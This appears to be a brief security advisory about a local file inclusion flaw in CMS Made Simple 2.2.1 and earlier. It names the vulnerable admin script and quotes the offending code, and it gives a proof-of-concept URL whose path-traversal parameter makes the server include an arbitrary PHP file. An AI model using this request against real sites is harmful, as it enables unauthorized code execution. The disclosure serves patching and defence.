CMS Made Simple versions 2.2.1 and below suffers from a local inclusion vulnerability.
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Details
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Software:cmsmadesimple
Homepage:http://www.cmsmadesimple.org/<http://www.cmsmadesimple.org/><http://www.cmsmadesimple.org/>
version:<=2.2.1
description:The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.
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PoC:
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For cmsmadesimple <=2.1.6:
The Vulnerability is existing in /cmsms/admin/listtags.php Line 82 and line 54
If there is a file named "1.phpinfo.php" in http://127.0.0.1/1.phpinfo.php
So when we visit the following link:
http://127.0.0.1/cmsms/admin/listtags.php?_sk_=08852e62af02bc03&action=showpluginhelp
http://127.0.0.1/cmsms/admin/listtags.php?_sk_=08852e62af02bc03&action=showpluginhelp&plugin=phpinfo&
type=../../1
local file inclusion successfully!
For cmsmadesimple <=2.2.1:
Current version is still vulnerable.
if ($action == "showpluginhelp") {
$content = '';
$file = $find_file("$type.$plugin.php");
if( is_file($file) ) require_once($file);
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Reference
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https://lightrains.org/local-file-inclusion-in-cmsmadesimple/